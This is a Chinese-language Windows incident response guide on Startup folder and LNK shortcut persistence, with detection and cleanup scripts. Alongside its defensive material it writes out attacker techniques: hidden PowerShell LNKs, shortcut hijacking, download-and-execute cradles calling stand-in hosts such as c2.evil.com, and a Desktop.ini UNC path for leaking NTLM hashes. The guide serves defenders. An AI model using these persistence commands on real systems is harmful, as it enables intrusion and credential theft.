Windows应急响应 - 24 启动文件夹与快捷方式

Windows应急响应/24-启动文件夹与快捷方式

tags:: #Windows应急响应 #持久化 #启动文件夹 #Startup #LNK #Backdoor
category:: 持久化与后门检测
difficulty:: 中级
platform:: Windows 7/10/11, Server 2012-2022

概述

Startup Folder(启动文件夹)和LNK(快捷方式)操纵是Windows中最古老但仍然有效的持久化方法

启动文件夹中的程序和快捷方式在用户登录时自动执行

MITRE ATT&CK: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

虽然技术简单,但通过LNK参数混淆、Desktop.ini滥用等技巧仍然能够绕过检测

Linux对比: 18-Bashrc与Profile后门 — 类似的用户登录自启动机制

一、启动文件夹基础

1.1 启动文件夹路径

用户启动文件夹(仅当前用户):

1
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

快速打开: shell:startup

全局启动文件夹(所有用户):

1
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

快速打开: shell:common startup

用户启动文件夹不需要管理员权限,全局启动文件夹需要

1.2 注册表中的启动文件夹路径配置

启动文件夹路径由注册表定义:

1
2
3
4
5
6
7
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
值名: Startup
默认值: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
值名: Common Startup
默认值: %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup

攻击向量: 攻击者可以修改Startup路径指向恶意目录:

1
2
3
4
5
6
7
8
9
10
11
12
# 检查启动文件夹路径是否被篡改
$userStartup = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup").Startup
$commonStartup = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -ErrorAction SilentlyContinue)."Common Startup"

Write-Host "User Startup: $userStartup"
Write-Host "Common Startup: $commonStartup"

# 验证是否为默认路径
$expectedUser = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if ($userStartup -ne $expectedUser) {
Write-Host "[!] User Startup path has been MODIFIED!" -ForegroundColor Red
}

1.3 查看启动文件夹内容

快速列出所有启动项:

1
2
3
4
5
6
7
8
9
# 用户启动文件夹
Write-Host "[*] User Startup Folder:" -ForegroundColor Cyan
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force |
Select-Object Name, Extension, Length, CreationTime, LastWriteTime | Format-Table -AutoSize

# 全局启动文件夹
Write-Host "`n[*] Common Startup Folder:" -ForegroundColor Cyan
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -Force |
Select-Object Name, Extension, Length, CreationTime, LastWriteTime | Format-Table -AutoSize

检查所有用户的启动文件夹:

1
2
3
4
5
6
7
8
9
10
Get-ChildItem "C:\Users" -Directory | ForEach-Object {
$startupPath = "$($_.FullName)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if (Test-Path $startupPath) {
$items = Get-ChildItem $startupPath -Force
if ($items) {
Write-Host "`n[*] $($_.Name):" -ForegroundColor Yellow
$items | Select-Object Name, Extension, CreationTime | Format-Table -AutoSize
}
}
}

二、恶意LNK文件攻击

2.1 创建恶意LNK快捷方式

攻击者在启动文件夹放置恶意LNK文件:

1
2
3
4
5
6
7
8
9
10
11
12
# 创建恶意LNK的PowerShell方法
$WshShell = New-Object -ComObject WScript.Shell
$shortcut = $WshShell.CreateShortcut(
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk"
)
$shortcut.TargetPath = "powershell.exe"
$shortcut.Arguments = "-w hidden -nop -enc JABjAD0ATgBlAHcALQBPAGI..."
$shortcut.WorkingDirectory = "C:\Windows\System32"
$shortcut.WindowStyle = 7 # Minimized
$shortcut.IconLocation = "C:\Windows\System32\shell32.dll,47"
$shortcut.Description = "Windows Update Check"
$shortcut.Save()

VBScript方式(常见于钓鱼邮件的dropper):

1
cscript //nologo create_lnk.vbs

2.2 LNK Target/Arguments混淆

参数填充混淆: 在Arguments中填充空格,使快捷方式属性对话框无法完全显示:

1
$shortcut.Arguments = "                                                                                                                                                                                                                                              -w hidden -nop -c IEX(...)"

环境变量混淆:

1
2
$shortcut.TargetPath = "%ComSpec%"
$shortcut.Arguments = "/c powershell -w hidden -nop -c `"IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/payload')`""

利用TargetPath长度限制: LNK的TargetPath有260字符限制,但可以通过特殊构造绕过

路径穿越混淆:

1
$shortcut.TargetPath = "C:\Windows\System32\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

2.3 已有LNK文件的篡改

攻击者不创建新LNK,而是修改已有快捷方式的目标:

1
2
3
4
5
6
7
8
9
10
11
12
# 修改桌面上的合法快捷方式
$WshShell = New-Object -ComObject WScript.Shell
$lnk = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Chrome.lnk")

# 保存原始目标
$originalTarget = $lnk.TargetPath
$originalArgs = $lnk.Arguments

# 修改为先执行payload再启动原程序
$lnk.TargetPath = "cmd.exe"
$lnk.Arguments = "/c start """" ""$originalTarget"" $originalArgs & start /b powershell -w hidden -nop -c ""IEX(...)"""
$lnk.Save()

用户点击快捷方式时,原始程序正常启动,同时后台执行恶意代码

检测: 对比LNK目标与预期目标

2.4 LNK嵌入式图标伪装

设置LNK图标为文档或文件夹图标,诱骗用户点击:

1
2
3
4
5
6
7
8
# 伪装成Word文档
$shortcut.IconLocation = "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE,0"

# 伪装成PDF
$shortcut.IconLocation = "C:\Program Files\Adobe\Acrobat Reader\AcroRd32.exe,0"

# 伪装成文件夹
$shortcut.IconLocation = "C:\Windows\System32\shell32.dll,3"

三、Desktop.ini滥用

3.1 Desktop.ini基础

Desktop.ini是Windows用来自定义文件夹外观的配置文件

是隐藏+系统属性的文件

当Explorer打开包含Desktop.ini的文件夹时会读取并执行其中的配置

3.2 CLSID注入

Desktop.ini可以指定一个COM CLSID,当文件夹被访问时加载:

1
2
[.ShellClassInfo]
CLSID2={00021401-0000-0000-C000-000000000046}

结合COM劫持(参见 23-COM劫持),可以实现:

在HKCU注册恶意COM对象

在目标文件夹放置指向该CLSID的Desktop.ini

用户打开文件夹时触发恶意代码

3.3 WebDAV/UNC路径利用

Desktop.ini可以引用远程资源:

1
2
[.ShellClassInfo]
IconResource=\\evil.com\share\icon.ico,0

这会导致:

向攻击者服务器发起SMB连接(泄露NTLMv2 hash)

或通过WebDAV自动下载资源

用于信息收集和凭证窃取

3.4 检测Desktop.ini异常

扫描可疑的Desktop.ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 搜索包含可疑内容的Desktop.ini
$suspiciousPaths = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
)

foreach ($dir in $suspiciousPaths) {
$ini = Join-Path $dir "Desktop.ini"
if (Test-Path $ini) {
$content = Get-Content $ini -Raw -ErrorAction SilentlyContinue
if ($content -match "(\\\\|http|CLSID|InprocServer)") {
Write-Host "[!] Suspicious Desktop.ini: $ini" -ForegroundColor Red
Write-Host $content -ForegroundColor Yellow
}
}
}

四、高级LNK利用技术

4.1 LNK文件嵌入payload

LNK文件可以在其额外数据块中存储任意数据:

1
2
3
4
5
6
7
8
9
10
# 检查LNK文件的额外数据
$lnkPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\suspect.lnk"
$bytes = [System.IO.File]::ReadAllBytes($lnkPath)

# LNK文件大小通常在1-3KB,如果超大则可疑
$size = (Get-Item $lnkPath).Length
Write-Host "LNK Size: $size bytes"
if ($size -gt 10KB) {
Write-Host "[!] Unusually large LNK file - may contain embedded payload" -ForegroundColor Red
}

攻击者将payload附加到LNK末尾,执行时自行提取

4.2 LNK文件属性解析

深度解析LNK文件的完整属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function Parse-LnkFile {
param([string]$Path)

$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut($Path)

[PSCustomObject]@{
FullPath = $Path
TargetPath = $lnk.TargetPath
Arguments = $lnk.Arguments
WorkingDirectory = $lnk.WorkingDirectory
WindowStyle = switch($lnk.WindowStyle) {
1 {"Normal"}; 3 {"Maximized"}; 7 {"Minimized"}; default {"Unknown($_)"}
}
IconLocation = $lnk.IconLocation
Hotkey = $lnk.Hotkey
Description = $lnk.Description
FileSize = (Get-Item $Path).Length
Created = (Get-Item $Path).CreationTime
Modified = (Get-Item $Path).LastWriteTime
}
}

# 解析启动文件夹中的所有LNK
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ChildItem $startupPath -Filter "*.lnk" | ForEach-Object {
Parse-LnkFile $_.FullName
} | Format-List

4.3 利用LNK的ExtraData块

LNK文件的ExtraData块可以包含EnvironmentVariableDataBlock:

1
2
3
4
# LNK结构中的额外数据块
EnvironmentVariableDataBlock:
TargetAnsi: %COMSPEC%
TargetUnicode: %COMSPEC%

某些安全工具只解析主TargetPath,不检查ExtraData中的覆盖

攻击者利用这一点,让主TargetPath看起来合法,但实际执行路径在ExtraData中

五、检测方法

5.1 启动文件夹全面扫描

完整的启动文件夹安全审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
function Audit-StartupFolders {
Write-Host "=== Startup Folder Security Audit ===" -ForegroundColor Cyan

# 1. 检查启动文件夹路径是否被篡改
Write-Host "`n[1] Startup Path Validation:" -ForegroundColor Yellow
$userStartup = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup").Startup
$expectedPath = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

if ($userStartup -eq $expectedPath) {
Write-Host " User Startup: OK (default)" -ForegroundColor Green
} else {
Write-Host " [!] User Startup MODIFIED: $userStartup" -ForegroundColor Red
}

# 2. 扫描所有用户的启动文件夹
Write-Host "`n[2] Startup Folder Contents:" -ForegroundColor Yellow

# 所有用户
Get-ChildItem "C:\Users" -Directory | ForEach-Object {
$startup = "$($_.FullName)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if (Test-Path $startup) {
$items = Get-ChildItem $startup -Force -ErrorAction SilentlyContinue
foreach ($item in $items) {
$flags = @()

# 检查LNK文件
if ($item.Extension -eq '.lnk') {
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut($item.FullName)

if ($lnk.TargetPath -match "(?i)(powershell|cmd|mshta|wscript|cscript|rundll32)") {
$flags += "LOLBIN_TARGET"
}
if ($lnk.Arguments -match "(?i)(-enc|base64|hidden|downloadstring)") {
$flags += "SUSPICIOUS_ARGS"
}
if ($item.Length -gt 10KB) {
$flags += "OVERSIZED_LNK"
}

Write-Host " [$($_.Name)] $($item.Name)" -ForegroundColor White
Write-Host " Target: $($lnk.TargetPath)" -ForegroundColor Gray
Write-Host " Args: $($lnk.Arguments)" -ForegroundColor Gray
}
# 检查非LNK文件(EXE/BAT/VBS/PS1等)
elseif ($item.Extension -match "\.(exe|bat|cmd|vbs|vbe|js|jse|ps1|wsf|scr)$") {
$flags += "DIRECT_EXECUTABLE"
Write-Host " [$($_.Name)] $($item.Name)" -ForegroundColor White
}

if ($flags.Count -gt 0) {
Write-Host " [!] Flags: $($flags -join ', ')" -ForegroundColor Red
}
}
}
}

# 全局启动文件夹
Write-Host "`n[3] Common Startup:" -ForegroundColor Yellow
$commonStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ChildItem $commonStartup -Force -ErrorAction SilentlyContinue | ForEach-Object {
Write-Host " $($_.Name) (Created: $($_.CreationTime))" -ForegroundColor White
}
}

Audit-StartupFolders

5.2 LNK文件深度分析

使用LECmd(Eric Zimmerman的LNK解析工具):

1
2
3
4
5
:: 解析单个LNK文件
LECmd.exe -f "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\suspect.lnk"

:: 批量解析目录
LECmd.exe -d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" --csv C:\IR_Evidence\lnk_analysis

LECmd可以解析LNK的所有额外数据块,包括:

EnvironmentVariableDataBlock

TrackerDataBlock(包含创建LNK的机器MAC地址等)

ExtraData嵌入数据

5.3 Autoruns检查

Autoruns可以检查启动文件夹:

1
autorunsc.exe -a l -m -s -h -c -nobanner > autoruns_logon.csv

启动文件夹中的条目会出现在”Logon”标签下

5.4 文件系统时间线分析

检查启动文件夹中文件的时间戳:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查最近修改/创建的启动项
$startupPaths = @(
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup",
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
)

$cutoff = (Get-Date).AddDays(-30)

foreach ($path in $startupPaths) {
Get-ChildItem $path -Force -ErrorAction SilentlyContinue | Where-Object {
$_.CreationTime -gt $cutoff -or $_.LastWriteTime -gt $cutoff
} | Select-Object FullName, CreationTime, LastWriteTime, Length | Format-Table -AutoSize
}

六、特殊技巧

6.1 URL文件利用

.url文件(Internet Shortcut)也可以放在启动文件夹:

1
2
[InternetShortcut]
URL=file:///C:/Users/Public/payload.hta

或者指向远程HTA:

1
2
[InternetShortcut]
URL=http://evil.com/payload.hta

Windows会使用默认处理程序打开该URL

6.2 BAT/CMD脚本

在启动文件夹直接放置批处理脚本:

1
2
3
@echo off
start /b powershell.exe -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"
exit

简单但有效,适合快速部署

6.3 WSF/VBS脚本

Windows Script File放在启动文件夹:

1
2
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -w hidden -nop -c ""IEX(...)""", 0, False

WSF格式支持混合多种脚本语言

七、清除与修复

7.1 删除恶意启动项

删除启动文件夹中的恶意文件:

1
2
3
4
5
6
7
8
9
# 收集证据
$evidence = "C:\IR_Evidence\Startup"
New-Item -ItemType Directory -Path $evidence -Force

# 备份启动文件夹
Copy-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\*" $evidence -Force

# 删除恶意项
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk" -Force

7.2 修复被篡改的启动文件夹路径

如果Startup注册表路径被修改:

1
2
3
4
# 恢复默认的启动文件夹路径
Set-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" `
-Name "Startup" `
-Value "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

7.3 修复被篡改的桌面快捷方式

重新创建正确的快捷方式:

1
2
3
4
5
$WshShell = New-Object -ComObject WScript.Shell
$lnk = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Chrome.lnk")
$lnk.TargetPath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
$lnk.Arguments = ""
$lnk.Save()

八、关联检查

启动文件夹后门应与以下内容关联:

18-Registry-Run后门 — Run Key是另一种登录自启动

23-COM劫持 — Desktop.ini可以触发COM对象

19-计划任务后门 — 可能同时存在多种持久化

18-Bashrc与Profile后门 — Linux等效的用户登录持久化

九、应急响应Checklist

[ ] 检查所有用户的启动文件夹内容

[ ] 检查全局启动文件夹 (Common Startup)

[ ] 验证Startup注册表路径是否为默认值

[ ] 深度解析所有LNK文件的Target和Arguments

[ ] 检查LNK文件大小是否异常(>10KB可疑)

[ ] 检查启动文件夹中的Desktop.ini

[ ] 检查.url/.bat/.vbs/.ps1等脚本文件

[ ] 使用LECmd解析LNK额外数据块

[ ] 检查桌面上的常用快捷方式是否被篡改

[ ] 收集证据后清除恶意启动项


上一章 目录 下一章
23-COM劫持 Windows应急响应 25-IFEO与AppInit-DLLs后门